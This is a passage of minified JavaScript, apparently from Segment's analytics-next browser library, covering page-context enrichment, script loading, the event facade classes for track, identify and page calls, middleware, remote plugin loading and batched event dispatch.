t,n=(Array.prototype.slice.call(document.querySelectorAll("script")).forEach((function(e){var n,r=null!==(n=e.getAttribute("src"))&&void 0!==n?n:"",i=rr.exec(r);i&&i[1]&&(t=i[1])})),t);return n||"https://cdn.segment.com"},or=function(){var e=ir();return"".concat(e,"/next-integrations")};function sr(e,t){var n,r=Object.entries(null!==(n=t.integrations)&&void 0!==n?n:{}).reduce((function(e,t){var n,r,i=t[0],o=t[1];return vt(vt({},e),"object"==typeof o?((n={})[i]=o,n):((r={})[i]={},r))}),{});return Object.entries(e.integrations).reduce((function(e,t){var n,i=t[0],o=t[1];return vt(vt({},e),((n={})[i]=vt(vt({},o),r[i]),n))}),{})}function ar(){var e=document.querySelector("link[rel='canonical']");if(e)return e.getAttribute("href")||void 0}function ur(){var e=ar();if(!e)return window.location.pathname;var t=document.createElement("a");return t.href=e,t.pathname.startsWith("/")?t.pathname:"/"+t.pathname}function cr(e){void 0===e&&(e="");var t=ar();if(t)return t.includes("?")?t:"".concat(t).concat(e);var n=window.location.href,r=n.indexOf("#");return-1===r?n:n.slice(0,r)}function lr(e){var t=e.event;t.context=t.context||{};var n,r,i={path:ur(),referrer:document.referrer,search:location.search,title:document.title,url:cr(location.search)},o=void 0;return"page"===t.type&&(o=t.properties&&(n=t.properties,r=Object.keys(i),Object.assign.apply(Object,bt([{}],r.map((function(e){var t;if(n&&Object.prototype.hasOwnProperty.call(n,e))return(t={})[e]=n[e],t})),!1))),t.properties=vt(vt(vt({},i),t.properties),t.name?{name:t.name}:{})),t.context.page=vt(vt(vt({},i),o),t.context.page),e}var fr={name:"Page Enrichment",version:"0.1.0",isLoaded:function(){return!0},load:function(){return Promise.resolve()},type:"before",page:lr,alias:lr,track:lr,identify:lr,group:lr};function hr(e){return Array.prototype.slice.call(window.document.querySelectorAll("script")).find((function(t){return t.src===e}))}function dr(e,t){var n=hr(e);if(void 0!==n){var r=null==n?void 0:n.getAttribute("status");if("loaded"===r)return Promise.resolve(n);if("loading"===r)return new Promise((function(e,t){n.addEventListener("load",(function(){return e(n)})),n.addEventListener("error",(function(e){return t(e)}))}))}return new Promise((function(n,r){var i,o=window.document.createElement("script");o.type="text/javascript",o.src=e,o.async=!0,o.setAttribute("status","loading");for(var s=0,a=Object.entries(null!=t?t:{});s<a.length;s++){var u=a[s],c=u[0],l=u[1];o.setAttribute(c,l)}o.onload=function(){o.onerror=o.onload=null,o.setAttribute("status","loaded"),n(o)},o.onerror=function(){o.onerror=o.onload=null,o.setAttribute("status","error"),r(new Error("Failed to load ".concat(e)))};var f=window.document.getElementsByTagName("script")[0];null===(i=f.parentElement)||void 0===i||i.insertBefore(o,f)}))}function pr(e){var t=hr(e);return void 0!==t&&t.remove(),Promise.resolve()}var gr={},yr={},vr={},mr={exports:{}};!function(e){function t(e){return function(t,n,r,o){var s,a=o&&function(e){return"function"==typeof e}(o.normalizer)?o.normalizer:i;n=a(n);for(var u=!1;!u;)c();function c(){for(s in t){var e=a(s);if(0===n.indexOf(e)){var r=n.substr(e.length);if("."===r.charAt(0)||0===r.length){n=r.substr(1);var i=t[s];return null==i?void(u=!0):n.length?void(t=i):void(u=!0)}}}s=void 0,u=!0}if(s)return null==t?t:e(t,s,r)}}function n(e,t){return e.hasOwnProperty(t)&&delete e[t],e}function r(e,t,n){return e.hasOwnProperty(t)&&(e[t]=n),e}function i(e){return e.replace(/[^a-zA-Z0-9\.]+/g,"").toLowerCase()}e.exports=t((function(e,t){if(e.hasOwnProperty(t))return e[t]})),e.exports.find=e.exports,e.exports.replace=function(e,n,i,o){return t(r).call(this,e,n,i,o),e},e.exports.del=function(e,r,i){return t(n).call(this,e,r,null,i),e}}(mr);var _r=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(vr,"__esModule",{value:!0});var br=_r(mr.exports);function wr(e,t){return function(){var n=this.traits(),r=this.properties?this.properties():{};return br.default(n,"address."+e)||br.default(n,e)||(t?br.default(n,"address."+t):null)||(t?br.default(n,t):null)||br.default(r,"address."+e)||br.default(r,e)||(t?br.default(r,"address."+t):null)||(t?br.default(r,t):null)}}vr.default=function(e){e.zip=wr("postalCode","zip"),e.country=wr("country"),e.street=wr("street"),e.state=wr("state"),e.city=wr("city"),e.region=wr("region")};var Er={};Object.defineProperty(Er,"__esModule",{value:!0}),Er.clone=void 0,Er.clone=function e(t){if("object"!=typeof t)return t;if("[object Object]"===Object.prototype.toString.call(t)){var n={};for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=e(t[r]));return n}return Array.isArray(t)?t.map(e):t};var Sr={};Object.defineProperty(Sr,"__esModule",{value:!0});var Or={Salesforce:!0};Sr.default=function(e){return!Or[e]};var xr={},Ir=/^(\d{4})(?:-?(\d{2})(?:-?(\d{2}))?)?(?:([ T])(\d{2}):?(\d{2})(?::?(\d{2})(?:[,\.](\d{1,}))?)?(?:(Z)|([+\-])(\d{2})(?::?(\d{2}))?)?)?$/;xr.parse=function(e){var t=[1,5,6,7,11,12],n=Ir.exec(e),r=0;if(!n)return new Date(e);for(var i,o=0;i=t[o];o++)n[i]=parseInt(n[i],10)||0;n[2]=parseInt(n[2],10)||1,n[3]=parseInt(n[3],10)||1,n[2]--,n[8]=n[8]?(n[8]+"00").substring(0,3):0," "===n[4]?r=(new Date).getTimezoneOffset():"Z"!==n[9]&&n[10]&&(r=60*n[11]+n[12],"+"===n[10]&&(r=0-r));var s=Date.UTC(n[1],n[2],n[3],n[5],n[6]+r,n[7],n[8]);return new Date(s)},xr.is=function(e,t){return"string"==typeof e&&((!t||!1!==/^\d{4}-\d{2}-\d{2}/.test(e))&&Ir.test(e))};var Rr={},kr=/\d{13}/;Rr.is=function(e){return kr.test(e)},Rr.parse=function(e){return e=parseInt(e,10),new Date(e)};var Cr={},Pr=/\d{10}/;Cr.is=function(e){return Pr.test(e)},Cr.parse=function(e){var t=1e3*parseInt(e,10);return new Date(t)};var Ar=xr,Nr=Rr,Tr=Cr,Mr=Object.prototype.toString;var Lr=function(e){return t=e,"[object Date]"===Mr.call(t)?e:function(e){return"[object Number]"===Mr.call(e)}(e)?new Date((n=e)<315576e5?1e3*n:n):Ar.is(e)?Ar.parse(e):Nr.is(e)?Nr.parse(e):Tr.is(e)?Tr.parse(e):new Date(e);var t,n};var jr=xr,Ur=Dr;function Dr(e,t){return void 0===t&&(t=!0),e&&"object"==typeof e?function(e,t){return Object.keys(e).forEach((function(n){e[n]=Dr(e[n],t)})),e}(e,t):Array.isArray(e)?function(e,t){return e.forEach((function(n,r){e[r]=Dr(n,t)})),e}(e,t):jr.is(e,t)?jr.parse(e):e}var zr=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(yr,"__esModule",{value:!0}),yr.Facade=void 0;var Fr=zr(vr),Br=Er,Hr=zr(Sr),qr=zr(Lr),Vr=zr(mr.exports),$r=zr(Ur);function Wr(e,t){t=t||{},this.raw=Br.clone(e),"clone"in t||(t.clone=!0),t.clone&&(e=Br.clone(e)),"traverse"in t||(t.traverse=!0),e.timestamp="timestamp"in e?qr.default(e.timestamp):new Date,t.traverse&&$r.default(e),this.opts=t,this.obj=e}yr.Facade=Wr;var Kr=Wr.prototype;function Gr(e){return Br.clone(e)}Kr.proxy=function(e){var t=e.split("."),n=this[e=t.shift()]||this.obj[e];return n?("function"==typeof n&&(n=n.call(this)||{}),0===t.length||(n=Vr.default(n,t.join("."))),this.opts.clone?Gr(n):n):n},Kr.field=function(e){var t=this.obj[e];return this.opts.clone?Gr(t):t},Wr.proxy=function(e){return function(){return this.proxy(e)}},Wr.field=function(e){return function(){return this.field(e)}},Wr.multi=function(e){return function(){var t=this.proxy(e+"s");if(Array.isArray(t))return t;var n=this.proxy(e);return n&&(n=[this.opts.clone?Br.clone(n):n]),n||[]}},Wr.one=function(e){return function(){var t=this.proxy(e);if(t)return t;var n=this.proxy(e+"s");return Array.isArray(n)?n[0]:void 0}},Kr.json=function(){var e=this.opts.clone?Br.clone(this.obj):this.obj;return this.type&&(e.type=this.type()),e},Kr.rawEvent=function(){return this.raw},Kr.options=function(e){var t=this.obj.options||this.obj.context||{},n=this.opts.clone?Br.clone(t):t;if(!e)return n;if(this.enabled(e)){var r=this.integrations(),i=r[e]||Vr.default(r,e);return"object"!=typeof i&&(i=Vr.default(this.options(),e)),"object"==typeof i?i:{}}},Kr.context=Kr.options,Kr.enabled=function(e){var t=this.proxy("options.providers.all");"boolean"!=typeof t&&(t=this.proxy("options.all")),"boolean"!=typeof t&&(t=this.proxy("integrations.all")),"boolean"!=typeof t&&(t=!0);var n=t&&Hr.default(e),r=this.integrations();if(r.providers&&r.providers.hasOwnProperty(e)&&(n=r.providers[e]),r.hasOwnProperty(e)){var i=r[e];n="boolean"!=typeof i||i}return!!n},Kr.integrations=function(){return this.obj.integrations||this.proxy("options.providers")||this.options()},Kr.active=function(){var e=this.proxy("options.active");return null==e&&(e=!0),e},Kr.anonymousId=function(){return this.field("anonymousId")||this.field("sessionId")},Kr.sessionId=Kr.anonymousId,Kr.groupId=Wr.proxy("options.groupId"),Kr.traits=function(e){var t=this.proxy("options.traits")||{},n=this.userId();for(var r in e=e||{},n&&(t.id=n),e)if(Object.prototype.hasOwnProperty.call(e,r)){var i=null==this[r]?this.proxy("options.traits."+r):this[r]();if(null==i)continue;t[e[r]]=i,delete t[r]}return t},Kr.library=function(){var e=this.proxy("options.library");return e?"string"==typeof e?{name:e,version:null}:e:{name:"unknown",version:null}},Kr.device=function(){var e=this.proxy("context.device");"object"==typeof e&&null!==e||(e={});var t=this.library().name;return e.type||(t.indexOf("ios")>-1&&(e.type="ios"),t.indexOf("android")>-1&&(e.type="android")),e},Kr.userAgent=Wr.proxy("context.userAgent"),Kr.timezone=Wr.proxy("context.timezone"),Kr.timestamp=Wr.field("timestamp"),Kr.channel=Wr.field("channel"),Kr.ip=Wr.proxy("context.ip"),Kr.userId=Wr.field("userId"),Fr.default(Kr);var Yr={},Qr={exports:{}};"function"==typeof Object.create?Qr.exports=function(e,t){t&&(e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:Qr.exports=function(e,t){if(t){e.super_=t;var n=function(){};n.prototype=t.prototype,e.prototype=new n,e.prototype.constructor=e}};var Jr=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Yr,"__esModule",{value:!0}),Yr.Alias=void 0;var Xr=Jr(Qr.exports),Zr=yr;function ei(e,t){Zr.Facade.call(this,e,t)}Yr.Alias=ei,Xr.default(ei,Zr.Facade),ei.prototype.action=function(){return"alias"},ei.prototype.type=ei.prototype.action,ei.prototype.previousId=function(){return this.field("previousId")||this.field("from")},ei.prototype.from=ei.prototype.previousId,ei.prototype.userId=function(){return this.field("userId")||this.field("to")},ei.prototype.to=ei.prototype.userId;var ti={},ni={};Object.defineProperty(ni,"__esModule",{value:!0});var ri=/.+\@.+\..+/;ni.default=function(e){return ri.test(e)};var ii=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(ti,"__esModule",{value:!0}),ti.Group=void 0;var oi=ii(Qr.exports),si=ii(ni),ai=ii(Lr),ui=yr;function ci(e,t){ui.Facade.call(this,e,t)}ti.Group=ci,oi.default(ci,ui.Facade);var li=ci.prototype;li.action=function(){return"group"},li.type=li.action,li.groupId=ui.Facade.field("groupId"),li.created=function(){var e=this.proxy("traits.createdAt")||this.proxy("traits.created")||this.proxy("properties.createdAt")||this.proxy("properties.created");if(e)return ai.default(e)},li.email=function(){var e=this.proxy("traits.email");if(e)return e;var t=this.groupId();return si.default(t)?t:void 0},li.traits=function(e){var t=this.properties(),n=this.groupId();for(var r in e=e||{},n&&(t.id=n),e)if(Object.prototype.hasOwnProperty.call(e,r)){var i=null==this[r]?this.proxy("traits."+r):this[r]();if(null==i)continue;t[e[r]]=i,delete t[r]}return t},li.name=ui.Facade.proxy("traits.name"),li.industry=ui.Facade.proxy("traits.industry"),li.employees=ui.Facade.proxy("traits.employees"),li.properties=function(){return this.field("traits")||this.field("properties")||{}};var fi={},hi=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(fi,"__esModule",{value:!0}),fi.Identify=void 0;var di=yr,pi=hi(mr.exports),gi=hi(Qr.exports),yi=hi(ni),vi=hi(Lr),mi=function(e){return e.trim()};function _i(e,t){di.Facade.call(this,e,t)}fi.Identify=_i,gi.default(_i,di.Facade);var bi=_i.prototype;bi.action=function(){return"identify"},bi.type=bi.action,bi.traits=function(e){var t=this.field("traits")||{},n=this.userId();for(var r in e=e||{},n&&(t.id=n),e){var i=null==this[r]?this.proxy("traits."+r):this[r]();null!=i&&(t[e[r]]=i,r!==e[r]&&delete t[r])}return t},bi.email=function(){var e=this.proxy("traits.email");if(e)return e;var t=this.userId();return yi.default(t)?t:void 0},bi.created=function(){var e=this.proxy("traits.created")||this.proxy("traits.createdAt");if(e)return vi.default(e)},bi.companyCreated=function(){var e=this.proxy("traits.company.created")||this.proxy("traits.company.createdAt");if(e)return vi.default(e)},bi.companyName=function(){return this.proxy("traits.company.name")},bi.name=function(){var e=this.proxy("traits.name");if("string"==typeof e)return mi(e);var t=this.firstName(),n=this.lastName();return t&&n?mi(t+" "+n):void 0},bi.firstName=function(){var e=this.proxy("traits.firstName");if("string"==typeof e)return mi(e);var t=this.proxy("traits.name");return"string"==typeof t?mi(t).split(" ")[0]:void 0},bi.lastName=function(){var e=this.proxy("traits.lastName");if("string"==typeof e)return mi(e);var t=this.proxy("traits.name");if("string"==typeof t){var n=mi(t).indexOf(" ");if(-1!==n)return mi(t.substr(n+1))}},bi.uid=function(){return this.userId()||this.username()||this.email()},bi.description=function(){return this.proxy("traits.description")||this.proxy("traits.background")},bi.age=function(){var e=this.birthday(),t=pi.default(this.traits(),"age");return null!=t?t:e instanceof Date?(new Date).getFullYear()-e.getFullYear():void 0},bi.avatar=function(){var e=this.traits();return pi.default(e,"avatar")||pi.default(e,"photoUrl")||pi.default(e,"avatarUrl")},bi.position=function(){var e=this.traits();return pi.default(e,"position")||pi.default(e,"jobTitle")},bi.username=di.Facade.proxy("traits.username"),bi.website=di.Facade.one("traits.website"),bi.websites=di.Facade.multi("traits.website"),bi.phone=di.Facade.one("traits.phone"),bi.phones=di.Facade.multi("traits.phone"),bi.address=di.Facade.proxy("traits.address"),bi.gender=di.Facade.proxy("traits.gender"),bi.birthday=di.Facade.proxy("traits.birthday");var wi={},Ei=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(wi,"__esModule",{value:!0}),wi.Track=void 0;var Si=Ei(Qr.exports),Oi=yr,xi=fi,Ii=Ei(ni),Ri=Ei(mr.exports);function ki(e,t){Oi.Facade.call(this,e,t)}wi.Track=ki,Si.default(ki,Oi.Facade);var Ci=ki.prototype;Ci.action=function(){return"track"},Ci.type=Ci.action,Ci.event=Oi.Facade.field("event"),Ci.value=Oi.Facade.proxy("properties.value"),Ci.category=Oi.Facade.proxy("properties.category"),Ci.id=Oi.Facade.proxy("properties.id"),Ci.productId=function(){return this.proxy("properties.product_id")||this.proxy("properties.productId")},Ci.promotionId=function(){return this.proxy("properties.promotion_id")||this.proxy("properties.promotionId")},Ci.cartId=function(){return this.proxy("properties.cart_id")||this.proxy("properties.cartId")},Ci.checkoutId=function(){return this.proxy("properties.checkout_id")||this.proxy("properties.checkoutId")},Ci.paymentId=function(){return this.proxy("properties.payment_id")||this.proxy("properties.paymentId")},Ci.couponId=function(){return this.proxy("properties.coupon_id")||this.proxy("properties.couponId")},Ci.wishlistId=function(){return this.proxy("properties.wishlist_id")||this.proxy("properties.wishlistId")},Ci.reviewId=function(){return this.proxy("properties.review_id")||this.proxy("properties.reviewId")},Ci.orderId=function(){return this.proxy("properties.id")||this.proxy("properties.order_id")||this.proxy("properties.orderId")},Ci.sku=Oi.Facade.proxy("properties.sku"),Ci.tax=Oi.Facade.proxy("properties.tax"),Ci.name=Oi.Facade.proxy("properties.name"),Ci.price=Oi.Facade.proxy("properties.price"),Ci.total=Oi.Facade.proxy("properties.total"),Ci.repeat=Oi.Facade.proxy("properties.repeat"),Ci.coupon=Oi.Facade.proxy("properties.coupon"),Ci.shipping=Oi.Facade.proxy("properties.shipping"),Ci.discount=Oi.Facade.proxy("properties.discount"),Ci.shippingMethod=function(){return this.proxy("properties.shipping_method")||this.proxy("properties.shippingMethod")},Ci.paymentMethod=function(){return this.proxy("properties.payment_method")||this.proxy("properties.paymentMethod")},Ci.description=Oi.Facade.proxy("properties.description"),Ci.plan=Oi.Facade.proxy("properties.plan"),Ci.subtotal=function(){var e=Ri.default(this.properties(),"subtotal"),t=this.total()||this.revenue();if(e)return e;if(!t)return 0;if(this.total()){var n=this.tax();n&&(t-=n),(n=this.shipping())&&(t-=n),(n=this.discount())&&(t+=n)}return t},Ci.products=function(){var e=this.properties(),t=Ri.default(e,"products");return Array.isArray(t)?t.filter((function(e){return null!==e})):[]},Ci.quantity=function(){return(this.obj.properties||{}).quantity||1},Ci.currency=function(){return(this.obj.properties||{}).currency||"USD"},Ci.referrer=function(){return this.proxy("context.referrer.url")||this.proxy("context.page.referrer")||this.proxy("properties.referrer")},Ci.query=Oi.Facade.proxy("options.query"),Ci.properties=function(e){var t=this.field("properties")||{};for(var n in e=e||{})if(Object.prototype.hasOwnProperty.call(e,n)){var r=null==this[n]?this.proxy("properties."+n):this[n]();if(null==r)continue;t[e[n]]=r,delete t[n]}return t},Ci.username=function(){return this.proxy("traits.username")||this.proxy("properties.username")||this.userId()||this.sessionId()},Ci.email=function(){var e=this.proxy("traits.email")||this.proxy("properties.email")||this.proxy("options.traits.email");if(e)return e;var t=this.userId();return Ii.default(t)?t:void 0},Ci.revenue=function(){var e=this.proxy("properties.revenue"),t=this.event();return!e&&t&&t.match(/^[ _]?completed[ _]?order[ _]?|^[ _]?order[ _]?completed[ _]?$/i)&&(e=this.proxy("properties.total")),function(e){if(!e)return;if("number"==typeof e)return e;if("string"!=typeof e)return;if(e=e.replace(/\$/g,""),e=parseFloat(e),!isNaN(e))return e}(e)},Ci.cents=function(){var e=this.revenue();return"number"!=typeof e?this.value()||0:100*e},Ci.identify=function(){var e=this.json();return e.traits=this.traits(),new xi.Identify(e,this.opts)};var Pi={},Ai=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Pi,"__esModule",{value:!0}),Pi.Page=void 0;var Ni=Ai(Qr.exports),Ti=yr,Mi=wi,Li=Ai(ni);function ji(e,t){Ti.Facade.call(this,e,t)}Pi.Page=ji,Ni.default(ji,Ti.Facade);var Ui=ji.prototype;Ui.action=function(){return"page"},Ui.type=Ui.action,Ui.category=Ti.Facade.field("category"),Ui.name=Ti.Facade.field("name"),Ui.title=Ti.Facade.proxy("properties.title"),Ui.path=Ti.Facade.proxy("properties.path"),Ui.url=Ti.Facade.proxy("properties.url"),Ui.referrer=function(){return this.proxy("context.referrer.url")||this.proxy("context.page.referrer")||this.proxy("properties.referrer")},Ui.properties=function(e){var t=this.field("properties")||{},n=this.category(),r=this.name();for(var i in e=e||{},n&&(t.category=n),r&&(t.name=r),e)if(Object.prototype.hasOwnProperty.call(e,i)){var o=null==this[i]?this.proxy("properties."+i):this[i]();if(null==o)continue;t[e[i]]=o,i!==e[i]&&delete t[i]}return t},Ui.email=function(){var e=this.proxy("context.traits.email")||this.proxy("properties.email");if(e)return e;var t=this.userId();return Li.default(t)?t:void 0},Ui.fullName=function(){var e=this.category(),t=this.name();return t&&e?e+" "+t:t},Ui.event=function(e){return e?"Viewed "+e+" Page":"Loaded a Page"},Ui.track=function(e){var t=this.json();return t.event=this.event(e),t.timestamp=this.timestamp(),t.properties=this.properties(),new Mi.Track(t,this.opts)};var Di={},zi=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Di,"__esModule",{value:!0}),Di.Screen=void 0;var Fi=zi(Qr.exports),Bi=Pi,Hi=wi;function qi(e,t){Bi.Page.call(this,e,t)}Di.Screen=qi,Fi.default(qi,Bi.Page),qi.prototype.action=function(){return"screen"},qi.prototype.type=qi.prototype.action,qi.prototype.event=function(e){return e?"Viewed "+e+" Screen":"Loaded a Screen"},qi.prototype.track=function(e){var t=this.json();return t.event=this.event(e),t.timestamp=this.timestamp(),t.properties=this.properties(),new Hi.Track(t,this.opts)};var Vi={},$i=l&&l.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Vi,"__esModule",{value:!0}),Vi.Delete=void 0;var Wi=$i(Qr.exports),Ki=yr;function Gi(e,t){Ki.Facade.call(this,e,t)}function Yi(e,t){var n=new gr.Facade(e,t);return"track"===e.type&&(n=new gr.Track(e,t)),"identify"===e.type&&(n=new gr.Identify(e,t)),"page"===e.type&&(n=new gr.Page(e,t)),"alias"===e.type&&(n=new gr.Alias(e,t)),"group"===e.type&&(n=new gr.Group(e,t)),"screen"===e.type&&(n=new gr.Screen(e,t)),Object.defineProperty(n,"obj",{value:e,writable:!0}),n}function Qi(e,t,n){return mt(this,void 0,void 0,(function(){function r(t,n){return mt(this,void 0,void 0,(function(){var r,i,o;return _t(this,(function(s){switch(s.label){case 0:return r=!1,i=null,[4,n({payload:Yi(t,{clone:!0,traverse:!1}),integration:e,next:function(e){r=!0,null===e&&(i=null),e&&(i=e.obj)}})];case 1:return s.sent(),r||null===i||(i.integrations=vt(vt({},t.integrations),((o={})[e]=!1,o))),[2,i]}}))}))}var i,o,s,a,u;return _t(this,(function(e){switch(e.label){case 0:i=Yi(t,{clone:!0,traverse:!1}).rawEvent(),o=0,s=n,e.label=1;case 1:return o<s.length?(a=s[o],[4,r(i,a)]):[3,4];case 2:if(null===(u=e.sent()))return[2,null];i=u,e.label=3;case 3:return o++,[3,1];case 4:return[2,i]}}))}))}Vi.Delete=Gi,Wi.default(Gi,Ki.Facade),Gi.prototype.type=function(){return"delete"},function(e){var t=l&&l.__assign||function(){return t=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},t.apply(this,arguments)};Object.defineProperty(e,"__esModule",{value:!0}),e.Delete=e.Screen=e.Page=e.Track=e.Identify=e.Group=e.Alias=e.Facade=void 0;var n=yr;Object.defineProperty(e,"Facade",{enumerable:!0,get:function(){return n.Facade}});var r=Yr;Object.defineProperty(e,"Alias",{enumerable:!0,get:function(){return r.Alias}});var i=ti;Object.defineProperty(e,"Group",{enumerable:!0,get:function(){return i.Group}});var o=fi;Object.defineProperty(e,"Identify",{enumerable:!0,get:function(){return o.Identify}});var s=wi;Object.defineProperty(e,"Track",{enumerable:!0,get:function(){return s.Track}});var a=Pi;Object.defineProperty(e,"Page",{enumerable:!0,get:function(){return a.Page}});var u=Di;Object.defineProperty(e,"Screen",{enumerable:!0,get:function(){return u.Screen}});var c=Vi;Object.defineProperty(e,"Delete",{enumerable:!0,get:function(){return c.Delete}}),e.default=t(t({},n.Facade),{Alias:r.Alias,Group:i.Group,Identify:o.Identify,Track:s.Track,Page:a.Page,Screen:u.Screen,Delete:c.Delete})}(gr);var Ji=Object.freeze({__proto__:null,applyDestinationMiddleware:Qi,sourceMiddlewarePlugin:function(e,t){function n(n){return mt(this,void 0,void 0,(function(){var r;return _t(this,(function(i){switch(i.label){case 0:return r=!1,[4,e({payload:Yi(n.event,{clone:!0,traverse:!1}),integrations:null!=t?t:{},next:function(e){r=!0,e&&(n.event=e.obj)}})];case 1:if(i.sent(),!r)throw new Yt({retry:!1,type:"middleware_cancellation",reason:"Middleware `next` function skipped"});return[2,n]}}))}))}return{name:"Source Middleware ".concat(e.name),type:"before",version:"0.1.0",isLoaded:function(){return!0},load:function(e){return Promise.resolve(e)},track:n,page:n,identify:n,alias:n,group:n}}}),Xi=function(){function e(e,t){this.version="1.0.0",this.alternativeNames=[],this.middleware=[],this.alias=this._createMethod("alias"),this.group=this._createMethod("group"),this.identify=this._createMethod("identify"),this.page=this._createMethod("page"),this.screen=this._createMethod("screen"),this.track=this._createMethod("track"),this.action=t,this.name=e,this.type=t.type,this.alternativeNames.push(t.name)}return e.prototype.addMiddleware=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];"destination"===this.type&&(e=this.middleware).push.apply(e,t)},e.prototype.transform=function(e){return mt(this,void 0,void 0,(function(){var t;return _t(this,(function(n){switch(n.label){case 0:return[4,Qi(this.name,e.event,this.middleware)];case 1:return null===(t=n.sent())&&e.cancel(new Yt({retry:!1,reason:"dropped by destination middleware"})),[2,new zn(t)]}}))}))},e.prototype._createMethod=function(e){var t=this;return function(n){return mt(t,void 0,void 0,(function(){var t;return _t(this,(function(r){switch(r.label){case 0:return this.action[e]?(t=n,"destination"!==this.type?[3,2]:[4,this.transform(n)]):[2,n];case 1:t=r.sent(),r.label=2;case 2:return[4,this.action[e](t)];case 3:return r.sent(),[2,n]}}))}))}},e.prototype.isLoaded=function(){return this.action.isLoaded()},e.prototype.ready=function(){return this.action.ready?this.action.ready():Promise.resolve()},e.prototype.load=function(e,t){return this.action.load(e,t)},e.prototype.unload=function(e,t){var n,r;return null===(r=(n=this.action).unload)||void 0===r?void 0:r.call(n,e,t)},e}();function Zi(e,t,n,r,i){var o,s,a;return mt(this,void 0,void 0,(function(){var u,c,l,f,h=this;return _t(this,(function(d){switch(d.label){case 0:return u=[],c=ir(),l=null!==(s=null===(o=e.middlewareSettings)||void 0===o?void 0:o.routingRules)&&void 0!==s?s:[],f=(null!==(a=e.remotePlugins)&&void 0!==a?a:[]).map((function(e){return mt(h,void 0,void 0,(function(){var o,s,a,f,h,d,p,g,y;return _t(this,(function(v){switch(v.label){case 0:if(function(e,t){var n=e[t.creationName],r=e[t.name];return!1===e.All&&!n&&!r||!1===n||!1===r}(t,e))return[2];v.label=1;case 1:if(v.trys.push([1,12,,13]),o=new RegExp("https://cdn.segment.(com|build)"),!r)return[3,7];s=e.url.split("/"),a=s[s.length-2],f=e.url.replace(a,btoa(a).replace(/=/g,"")),v.label=2;case 2:return v.trys.push([2,4,,6]),[4,dr(f.replace(o,c))];case 3:return v.sent(),[3,6];case 4:return v.sent(),[4,dr(e.url.replace(o,c))];case 5:return v.sent(),[3,6];case 6:return[3,9];case 7:return[4,dr(e.url.replace(o,c))];case 8:v.sent(),v.label=9;case 9:return h=e.libraryName,"function"!=typeof window[h]?[3,11]:[4,(0,window[h])(vt(vt({},e.settings),n[e.name]))];case 10:d=v.sent(),function(e){if(!Array.isArray(e))throw new Error("Not a valid list of plugins");var t=["load","isLoaded","name","version","type"];e.forEach((function(e){t.forEach((function(t){var n;if(void 0===e[t])throw new Error("Plugin: ".concat(null!==(n=e.name)&&void 0!==n?n:"unknown"," missing required function ").concat(t))}))}))}(p=Array.isArray(d)?d:[d]),g=l.filter((function(t){return t.destinationName===e.creationName})),p.forEach((function(t){var n=new Xi(e.creationName,t);g.length&&i&&"destination"===t.type&&n.addMiddleware(i),u.push(n)})),v.label=11;case 11:return[3,13];case 12:return y=v.sent(),console.warn("Failed to load Remote Plugin",y),[3,13];case 13:return[2]}}))}))})),[4,Promise.all(f)];case 1:return d.sent(),[2,u.filter(Boolean)]}}))}))}var eo=function(e){var t=!1;window.addEventListener("pagehide",(function(){t||e(t=!0)})),document.addEventListener("visibilitychange",(function(){if("hidden"==document.visibilityState){if(t)return;t=!0}else t=!1;e(t)}))},to=500;function no(e){return(encodeURI(JSON.stringify(e)).split(/%..|./).length-1)/1024}function ro(e,t){var n,r,i,o=[],s=!1,a=null!==(n=null==t?void 0:t.size)&&void 0!==n?n:10,u=null!==(r=null==t?void 0:t.timeout)&&void 0!==r?r:5e3;function c(t){var n;if(0!==t.length){var r=null===(n=t[0])||void 0===n?void 0:n.writeKey;return hn("https://".concat(e,"/b"),{keepalive:s,headers:{"Content-Type":"text/plain"},method:"post",body:JSON.stringify({batch:t,writeKey:r})})}}function l(){return mt(this,void 0,void 0,(function(){var e;return _t(this,(function(t){return o.length?(e=o,o=[],[2,c(e)]):[2]}))}))}return eo((function(e){if((s=e)&&o.length){var t=function(e){var t=[],n=0;return e.forEach((function(e){no(t[n])>=64&&n++,t[n]?t[n].push(e):t[n]=[e]})),t}(o).map(c);Promise.all(t).catch(console.error)}})),{dispatch:function(e,t){return mt(this,void 0,void 0,(function(){var e;return _t(this,(function(n){return o.push(t),e=o.length>=a||function(e){return no(e)>=to-50}(o),[2,e||s?l():void(i||(i=setTimeout((function(){i=void 0,l().catch(console.error)}),u)))]}))}))}}}var io=function(e,t){return mt(void 0,void 0,void 0,(function(){var n;return _t(this,(function(r){return n=function(r){return mt(void 0,void 0,void 0,(function(){var i;return _t(this,(function(o){switch(o.label){case 0:return e(r)?(i=n,[4,t()]):[3,2];case 1:return[2,i.apply(void 0,[o.sent()])];case 2:return[2]}}))}))},[2,n(void 0)]}))}))};function oo(e,t){return mt(this,void 0,void 0,(function(){var n,r=this;return _t(this,(function(i){switch(i.label){case 0:return n=[],cn()?[2,t]:[4,io((function(){return t.length>0&&!cn()}),(function(){return mt(r,void 0,void 0,(function(){var r,i;return _t(this,(function(o){switch(o.label){case 0:return(r=t.pop())?[4,Jt(r,e)]:[2];case 1:return i=o.sent(),i instanceof zn||n.push(r),[2]}}))}))}))];case 1:return i.sent(),n.map((function(e){return t.pushWithBackoff(e)})),[2,t]}}))}))}function so(e,t,n,r){var i=this;e||setTimeout((function(){return mt(i,void 0,void 0,(function(){var e,i;return _t(this,(function(o){switch(o.label){case 0:return e=!0,[4,oo(n,t)];case 1:return i=o.sent(),e=!1,t.todo>0&&r(e,i,n,r),[2]}}))}))}),5e3*Math.random())}function ao(e){return 